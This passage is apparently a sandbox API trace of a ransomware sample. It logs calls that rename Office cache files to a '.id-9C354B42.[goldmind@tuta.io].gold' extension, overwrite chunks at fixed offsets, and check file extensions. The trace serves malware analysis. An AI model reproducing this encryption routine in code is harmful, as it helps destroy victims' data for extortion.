users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.644] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.644] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0043.644] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0043.644] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0043.644] GetLastError () returned 0x0 [0043.645] ReadFile (in: hFile=0x200, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0043.658] WriteFile (in: hFile=0x18c, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0043.667] ReadFile (in: hFile=0x200, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0043.667] WriteFile (in: hFile=0x18c, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x104, lpOverlapped=0x0) returned 1 [0043.667] SetEndOfFile (hFile=0x18c) returned 1 [0043.667] CloseHandle (hObject=0x18c) returned 1 [0043.667] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0043.667] SetEndOfFile (hFile=0x200) returned 1 [0043.834] CloseHandle (hObject=0x200) returned 1 [0043.835] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0043.835] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0043.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0043.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0043.835] lstrlenW (lpString=".doc") returned 4 [0043.835] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0043.835] lstrlenW (lpString=".docx") returned 5 [0043.835] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0043.835] lstrlenW (lpString=".pdf") returned 4 [0043.835] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0043.835] lstrlenW (lpString=".xls") returned 4 [0043.835] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0043.835] lstrlenW (lpString=".xlsx") returned 5 [0043.835] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0043.835] lstrlenW (lpString=".ppt") returned 4 [0043.835] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0043.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0043.835] lstrlenW (lpString=".zip") returned 4 [0043.835] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0043.835] lstrlenW (lpString=".rar") returned 4 [0043.835] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0043.835] lstrlenW (lpString=".bz2") returned 4 [0043.835] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0043.835] lstrlenW (lpString=".7z") returned 3 [0043.835] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0043.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0043.836] lstrlenW (lpString=".dbf") returned 4 [0043.836] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0043.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0043.836] lstrlenW (lpString=".1cd") returned 4 [0043.836] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0043.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0043.836] lstrlenW (lpString=".jpg") returned 4 [0043.836] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0043.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0043.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0043.836] lstrlenW (lpString=".doc") returned 4 [0043.836] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0043.836] lstrlenW (lpString=".docx") returned 5 [0043.836] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0043.836] lstrlenW (lpString=".pdf") returned 4 [0043.836] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0043.836] lstrlenW (lpString=".xls") returned 4 [0043.836] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0043.836] lstrlenW (lpString=".xlsx") returned 5 [0043.836] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0043.836] lstrlenW (lpString=".ppt") returned 4 [0043.836] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0043.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0043.836] lstrlenW (lpString=".zip") returned 4 [0043.836] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0043.836] lstrlenW (lpString=".rar") returned 4 [0043.836] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0043.836] lstrlenW (lpString=".bz2") returned 4 [0043.836] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0043.836] lstrlenW (lpString=".7z") returned 3 [0043.836] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0043.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0043.836] lstrlenW (lpString=".dbf") returned 4 [0043.836] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0043.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0043.836] lstrlenW (lpString=".1cd") returned 4 [0043.836] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0043.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0043.836] lstrlenW (lpString=".jpg") returned 4 [0043.836] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0043.836] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0043.836] lstrlenW (lpString="ProPrWW.cab") returned 11 [0043.836] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.138] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=177720283) returned 1 [0044.138] CloseHandle (hObject=0x178) returned 1 [0044.138] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0044.138] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.138] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0044.139] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.139] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0044.146] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0044.147] ReadFile (in: hFile=0x178, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.151] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0044.151] ReadFile (in: hFile=0x178, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.156] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.156] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0044.156] ReadFile (in: hFile=0x178, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.174] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0044.174] WriteFile (in: hFile=0x178, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0044.379] SetEndOfFile (hFile=0x178) returned 1 [0044.379] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x400c028 [0044.381] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0044.381] WriteFile (in: hFile=0x178, lpBuffer=0x400c028*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x400c028*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.382] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0044.382] WriteFile (in: hFile=0x178, lpBuffer=0x400c028*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x400c028*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.382] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0044.382] WriteFile (in: hFile=0x178, lpBuffer=0x400c028*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x400c028*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.384] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x400c028 | out: hHeap=0x880000) returned 1 [0044.384] CloseHandle (hObject=0x178) returned 1 [0044.384] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0044.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0044.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0044.384] lstrlenW (lpString=".doc") returned 4 [0044.384] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.384] lstrlenW (lpString=".docx") returned 5 [0044.384] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0044.384] lstrlenW (lpString=".pdf") returned 4 [0044.384] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.384] lstrlenW (lpString=".xls") returned 4 [0044.384] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.384] lstrlenW (lpString=".xlsx") returned 5 [0044.384] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0044.384] lstrlenW (lpString=".ppt") returned 4 [0044.384] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0044.384] lstrlenW (lpString=".zip") returned 4 [0044.384] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.385] lstrlenW (lpString=".rar") returned 4 [0044.385] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.385] lstrlenW (lpString=".bz2") returned 4 [0044.385] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.385] lstrlenW (lpString=".7z") returned 3 [0044.385] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0044.385] lstrlenW (lpString=".dbf") returned 4 [0044.385] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0044.385] lstrlenW (lpString=".1cd") returned 4 [0044.385] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0044.385] lstrlenW (lpString=".jpg") returned 4 [0044.385] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0044.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0044.385] lstrlenW (lpString=".doc") returned 4 [0044.385] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.385] lstrlenW (lpString=".docx") returned 5 [0044.385] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0044.385] lstrlenW (lpString=".pdf") returned 4 [0044.385] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.385] lstrlenW (lpString=".xls") returned 4 [0044.385] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.385] lstrlenW (lpString=".xlsx") returned 5 [0044.385] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0044.385] lstrlenW (lpString=".ppt") returned 4 [0044.385] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0044.385] lstrlenW (lpString=".zip") returned 4 [0044.385] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.385] lstrlenW (lpString=".rar") returned 4 [0044.385] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.385] lstrlenW (lpString=".bz2") returned 4 [0044.385] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.385] lstrlenW (lpString=".7z") returned 3 [0044.385] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0044.385] lstrlenW (lpString=".dbf") returned 4 [0044.385] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0044.385] lstrlenW (lpString=".1cd") returned 4 [0044.385] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0044.386] lstrlenW (lpString=".jpg") returned 4 [0044.386] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.386] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0044.386] lstrlenW (lpString="osetup.dll") returned 10 [0044.386] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.488] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=7378792) returned 1 [0044.488] CloseHandle (hObject=0x208) returned 1 [0044.488] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0044.488] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.488] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0044.489] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.489] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0044.489] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0044.489] ReadFile (in: hFile=0x208, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.491] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0044.491] ReadFile (in: hFile=0x208, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.496] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.496] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0044.496] ReadFile (in: hFile=0x208, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.520] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0044.520] WriteFile (in: hFile=0x208, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0044.702] SetEndOfFile (hFile=0x208) returned 1 [0044.702] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f74098 [0044.733] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0044.733] WriteFile (in: hFile=0x208, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.734] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0044.734] WriteFile (in: hFile=0x208, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.736] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0044.736] WriteFile (in: hFile=0x208, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.737] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f74098 | out: hHeap=0x880000) returned 1 [0044.737] CloseHandle (hObject=0x208) returned 1 [0044.737] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0044.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0044.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0044.737] lstrlenW (lpString=".doc") returned 4 [0044.737] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.737] lstrlenW (lpString=".docx") returned 5 [0044.737] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0044.737] lstrlenW (lpString=".pdf") returned 4 [0044.737] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.737] lstrlenW (lpString=".xls") returned 4 [0044.737] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.737] lstrlenW (lpString=".xlsx") returned 5 [0044.737] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0044.738] lstrlenW (lpString=".ppt") returned 4 [0044.738] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0044.738] lstrlenW (lpString=".zip") returned 4 [0044.738] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.738] lstrlenW (lpString=".rar") returned 4 [0044.738] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.738] lstrlenW (lpString=".bz2") returned 4 [0044.738] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.738] lstrlenW (lpString=".7z") returned 3 [0044.738] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.738] lstrlenW (lpString="C:\\MSOCache\\All 